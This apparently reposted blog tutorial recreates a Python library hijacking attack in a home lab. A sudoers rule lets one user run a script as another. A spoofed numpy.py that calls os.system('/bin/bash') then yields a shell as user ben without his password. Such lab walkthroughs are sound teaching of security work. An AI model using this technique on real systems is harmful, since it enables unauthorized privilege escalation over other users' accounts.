[Tut] Python Library Hijacking – A Simple Demonstration on NumPy

Python Library Hijacking – A Simple Demonstration on NumPy

5/5 – (1 vote)

In this blog post, I’ll show you how recreated a Python library hijacking vulnerability on my home network.

The Wonderland box on TryHackMe was the inspiration for exploring this kind of vulnerability.

In my previous Wonderland walkthrough blog post, I highlighted an example of exploiting the ‘random’ module to switch users without knowing their password.

In this post, I’ll guide you through the setup and execution of the exploit. You can also watch the accompanying video tutorial here:

What is Python Library Hijacking?

When a user has permission to run a file as another user it is possible to create a spoof file that Python will load instead of the originally intended module or library. The necessary conditions for Python library hijacking are:

1. The user must have sudo permissions to run a Python file .py as another user
2. The Python path must be set to look first in the folder where the spoof file is stored 

Setup

In order to re-create this vulnerability, I had to learn how to set up the above conditions for the exploit.

On my home network, I have a Raspberry Pi 3b running DietPi operating system. Originally I set this up to run Pi-hole to filter ads out from my home network.

In order to set up the permissions to run a file as another user I edited the sudoers file with visudo.

Visudo is a special editor specifically for editing the sudoers file. It only allows one user to edit the file at a time, and also checks user edits for correct syntax. I created a file called ‘checkmypermissions.py’ and granted sudo permissions to vulnerableuser to run it as user ben. 

To do this I used the command ‘sudo visudo’ to edit sudoers file, and then I added the second line for vulnerable user:

# User privilege specification

root ALL=(ALL:ALL) ALL

vulnerableuser ALL=(ben:1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py

The nice thing about visudo is that it checks your formatting to make sure that there are not any errors, and it will even suggest changes to help you format the permissions correctly.

This functionality helped me save time getting the correct spacing and punctuation on the new sudoers line.

Running the Exploit

Once the permissions were set up I ssh’d into vulnerableuser@<raspberry pi IP>. Running the ‘sudo -l’ command showed me the granular sudo permissions.

The line above (ben : 1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py shows that as vulnerableuser I can execute the checkmypermissions.py file as the user Ben.  

All that is left to do is to check the Python PATH to make sure that it checks first in the current directory, and then create a python file named numpy.py with code to spawn a shell. One way to check the Python PATH is:

Python

import sys

sys.path

In the example below, we can see that the python PATH is already set to search in the current working directory (''). 

Next we create the numpy.py file to spawn a shell.

nano numpy.py

import os

os.system("/bin/bash")

It is important to first set up execute permissions on the spoofed numpy.py file:

chmod +x numpy.py

Now we can carry out the python library hijack and spawn a shell as user ben without knowing their password by running the following command:

sudo -u ben /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py  

Project Learnings

Learning #1

I learned that Visudo is a special editor within Linux to change the sudoers file /etc/sudoers.

It helps check formatting to avoid any errors or crashes from poorly written lines. The sudoers file allows the root user to granularize user permissions with the sudoers file on Linux.

Learning #2

Granting run as another user file permissions can expose a machine to library hijacking vulnerabilities.

Running sudo -l can help expose special user file permissions when enumerating for attack vectors to execute privilege escalation.

Learning #3

I found that it is helpful to compile a custom shortlist of Python and bash commands new to me for each project. I borrowed this strategy from my experience with language learning.

Over the years, I’ve improved my Mandarin by taking notes on new vocabulary words and grammar patterns. When working on a new topic area I would always create my own custom grammar and vocabulary lists for reference.

I’ve found that the simple act of focusing on recording a list helps to cement my learning and creates a nice reference for later use.

https://www.sickgaming.net/blog/2022/11/...-on-numpy/